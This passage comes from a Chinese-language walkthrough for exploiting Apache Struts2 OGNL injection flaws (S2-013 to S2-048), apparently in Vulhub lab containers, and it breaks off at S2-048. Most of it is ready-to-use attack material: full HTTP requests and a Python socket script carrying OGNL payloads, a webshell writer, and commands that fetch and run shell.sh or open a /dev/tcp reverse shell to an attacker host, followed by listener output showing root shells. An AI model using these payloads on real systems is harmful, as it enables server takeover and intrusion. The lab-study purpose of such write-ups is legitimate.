    GET /link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%55%77%4c%6a%49%76%4d%6a%4d%7a%4d%79%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D HTTP/1.1
    Host: 192.168.50.4:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: JSESSIONID=E81B9A620DFD0541F1A9480B0B09C642
    Upgrade-Insecure-Requests: 1
    Sec-GPC: 1
    DNT: 1
    Pragma: no-cache
    Cache-Control: no-cache
    
    
    
  2. S2-014Payload:

    GET /link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%55%77%4c%6a%49%76%4d%6a%4d%7a%4d%79%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%29%29%7D HTTP/1.1
    Host: 192.168.50.4:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: JSESSIONID=E81B9A620DFD0541F1A9480B0B09C642
    Upgrade-Insecure-Requests: 1
    Sec-GPC: 1
    DNT: 1
    Pragma: no-cache
    Cache-Control: no-cache
    
    
    
  3. 成功反弹:

    ┌──(root㉿kali)-[~/Desktop]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 39714
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@ea61b5d4f2b3:/usr/local/tomcat# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    

8 S2-015 远程代码执行漏洞

影响版本: 2.0.0 - 2.3.14.2

漏洞详情:

8.1 环境安装

docker-compose up -d
  • 安装完成后访问:http://your-ip:8080/即可进入测试页面

8.2 漏洞利用过程

  1. 漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:

    <package name="S2-015" extends="struts-default">
        <action name="*" class="com.demo.action.PageAction">
            <result>/{1}.jsp</result>
        </action>
    </package>
    
  2. 上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / " \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。

  3. 还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通过 #_memberAccess['allowStaticMethodAccess']=true 来修改其值达到重获静态方法调用的能力。

  4. 这里为了到达执行命令的目的可以用 kxlzx 提到的调用动态方法(new java.lang.ProcessBuilder('calc')).start()来解决,另外还可以借助 Java 反射机制去间接修改:

    #context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true)
    

    可以构造 Payload 如下:

    ${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}
    
  5. 验证POC:直接测试1+1

    image-20230425152957220

  6. 执行命令:

    http://yourIP:8080/%24%7b%23%63%6f%6e%74%65%78%74%5b%27%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%27%5d%3d%66%61%6c%73%65%2c%23%6d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%27%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%27%29%2c%23%6d%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%6d%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%71%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%2c%23%71%7d%2e%61%63%74%69%6f%6e

    • image-20230425153212073

8.3 GetShell

  1. 这个漏洞无法反弹shell,要有回显的才行

9 S2-016 远程代码执行漏洞

影响版本: 2.0.0 - 2.3.15

漏洞详情:

9.1 环境安装

docker-compose up -d
  • 安装完成后访问:http://your-ip:8080/即可进入测试页面

9.2 漏洞利用过程

  1. 在struts2中,DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
    1. 所以,访问http://your-ip:8080/index.action?redirect:OGNL表达式即可执行OGNL表达式。
      1. 命令执行:redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
      2. 获取web目录:redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
      3. 写入webshell:redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}

9.3 GetShell

  1. 执行payload

    GET /index.action?redirect:%24%7b%23%63%6f%6e%74%65%78%74%5b%22%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%22%5d%3d%66%61%6c%73%65%2c%23%66%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%22%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%22%29%2c%23%66%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%66%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%55%77%4c%6a%49%76%4d%6a%4d%7a%4d%79%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%62%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%61%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%5d%2c%23%63%2e%72%65%61%64%28%23%64%29%2c%23%67%65%6e%78%6f%72%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%22%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%22%29%2e%67%65%74%57%72%69%74%65%72%28%29%2c%23%67%65%6e%78%6f%72%2e%70%72%69%6e%74%6c%6e%28%23%64%29%2c%23%67%65%6e%78%6f%72%2e%66%6c%75%73%68%28%29%2c%23%67%65%6e%78%6f%72%2e%63%6c%6f%73%65%28%29%7d HTTP/1.1
    Host: 192.168.50.4:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: JSESSIONID=AE20BE60A2B647185E7EF9CA06C736FE
    Upgrade-Insecure-Requests: 1
    Sec-GPC: 1
    DNT: 1
    Pragma: no-cache
    Cache-Control: no-cache
    
    
    
  2. 得到反弹shell

    ┌──(root㉿kali)-[~/Desktop]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 51248
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@e647684f937b:/usr/local/tomcat# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@e647684f937b:/usr/local/tomcat#
    

10 S2-032 远程代码执行漏洞(CVE-2016-3081)

影响版本: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

漏洞详情:

10.1 环境安装

docker-compose up -d
  • 安装完成后访问:http://your-ip:8080/即可进入测试页面

10.2 漏洞利用过程

  1. Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:<name>的方式来调用名字是<name>的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞。

    http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id

10.3 GetShell

  1. 下载反弹Payload:http://10.0.0.7:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=wget+10.0.0.3/shell.sh

  2. 执行下载的Payload:http://10.0.0.7:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=bash+shell.sh

  3. 成功反弹:

    ┌──(root㉿kali)-[~]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [10.0.0.3] from (UNKNOWN) [10.0.0.7] 57050
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@706f58ce4ed0:/usr/src# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@706f58ce4ed0:/usr/src#
    

11 S2-045 远程代码执行漏洞(CVE-2017-5638)

影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

漏洞详情:

11.1 环境安装

docker-compose up -d
  • 安装完成后访问:http://your-ip:8080/即可进入测试页面

11.2 漏洞利用过程

  1. POC:

    POST / HTTP/1.1
    Host: localhost:8080
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.8,es;q=0.6
    Connection: close
    Content-Length: 0
    Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
    
    
    
    HTTP/1.1 200 OK
    Date: Fri, 28 Apr 2023 07:06:43 GMT
    vulhub: 54289
    Content-Type: text/html; charset=UTF-8
    Set-Cookie: JSESSIONID=1bf8wo8meqs5m8ivjwumuhef;Path=/
    Expires: Thu, 01 Jan 1970 00:00:00 GMT
    Connection: close
    Server: Jetty(9.2.11.v20150529)
    
    
    
    • 响应头中:vulhub值为233*233=54289

11.3 GetShell

  1. 下载payload

    GET /index.action HTTP/1.1
    Host: 10.0.0.7:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: JSESSIONID=7yu7dkjvua6p1ibt9gv4km9k4
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='wget 10.0.0.7/shell.sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    
    
    
  2. 执行payload

    GET /index.action HTTP/1.1
    Host: 10.0.0.7:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: JSESSIONID=7yu7dkjvua6p1ibt9gv4km9k4
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash shell.sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    
    
    
  3. getshell

    ┌──(root㉿kali)-[~]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [10.0.0.3] from (UNKNOWN) [10.0.0.7] 48946
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@4f8d56e6c1c8:/usr/src# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    
  4. 一次解决所有烦恼

    GET /index.action HTTP/1.1
    Host: 10.0.0.7:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: JSESSIONID=7yu7dkjvua6p1ibt9gv4km9k4
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='curl 10.0.0.3/shell.sh | bash').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    
    
    

12 S2-046 远程代码执行漏洞(CVE-2017-5638)

影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

漏洞详情:

12.1 环境安装

docker-compose up -d
  • 安装完成后访问:http://your-ip:8080/即可进入测试页面

12.2 漏洞利用过程

  1. 与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用\x00截断。

    由于需要发送畸形数据包,我们简单使用原生socket编写payload:

    import socket
    
    q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
    Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
    Content-Type: text/plain
    
    foo
    ------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
    p = b'''POST / HTTP/1.1
    Host: localhost:8080
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.8,es;q=0.6
    Connection: close
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
    Content-Length: %d
    
    '''.replace(b'\n', b'\r\n') % (len(q), )
    
    with socket.create_connection(('your-ip', '8080'), timeout=5) as conn:
        conn.send(p + q)
        print(conn.recv(10240).decode())
    
    
  2. BP上的payload:

    1. 在filename中插入POC代码:%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',1+1)}%00b
    2. 找到b之前的字符,进行%00截断:Ctrl+Shift+U
    POST /doUpload.action HTTP/1.1
    Host: 10.0.0.7:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------1053028176322877947448638587
    Content-Length: 433
    Origin: http://10.0.0.7:8080
    Connection: close
    Referer: http://10.0.0.7:8080/doUpload.action
    Cookie: JSESSIONID=16uh1fybj6b2c81sogqmsklmd
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    Pragma: no-cache
    Cache-Control: no-cache
    
    -----------------------------1053028176322877947448638587
    Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',1+1)}%00b"
    Content-Type: application/octet-stream
    
    
    -----------------------------1053028176322877947448638587
    Content-Disposition: form-data; name="caption"
    
    
    -----------------------------1053028176322877947448638587--
    
    

12.3 GetShell

  1. EXP Payload:%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/ip/post 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

  2. 执行Payload:找到b之前的字符,进行%00截断:Ctrl+Shift+U

    POST /doUpload.action HTTP/1.1
    Host: 10.0.0.7:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------1053028176322877947448638587
    Content-Length: 1184
    Origin: http://10.0.0.7:8080
    Connection: close
    Referer: http://10.0.0.7:8080/doUpload.action
    Cookie: JSESSIONID=16uh1fybj6b2c81sogqmsklmd
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    Pragma: no-cache
    Cache-Control: no-cache
    
    -----------------------------1053028176322877947448638587
    Content-Disposition: form-data; name="upload"; filename="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/10.0.0.3/2333 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}%00b"
    Content-Type: application/octet-stream
    
    
    -----------------------------1053028176322877947448638587
    Content-Disposition: form-data; name="caption"
    
    
    -----------------------------1053028176322877947448638587--
    
    
  3. GetShell

    ┌──(root㉿kali)-[~]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [10.0.0.3] from (UNKNOWN) [10.0.0.7] 51066
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    root@9f3234fb1c9c:/usr/src# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@9f3234fb1c9c:/usr/src#
    

13 S2-048 远程代码执行漏洞

影响版本: 2.0.0 - 2.3.32

漏洞详情:

13.1 环境安装

docker-compose up -d
  • 安装完成后访问:http://your-ip:8080/showcase即可进入测试页面

13.2 漏洞利用过程

  1. 访问:http://10.0.0.7:8080/integration/editGangster.action,触发OGNL表达式的位置是Gangster Name这个表单。输入${1+1}即可查看执行结果(剩下两个表单随意填写):

    image-20230428181359137

  2. 借用S2-045的沙盒绕过方法,将如下POC填入表单Gengster Name中,提交即可直接回显命令执行的结果:

    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    
    

13.3 GetShell

  1. 执行Payload:
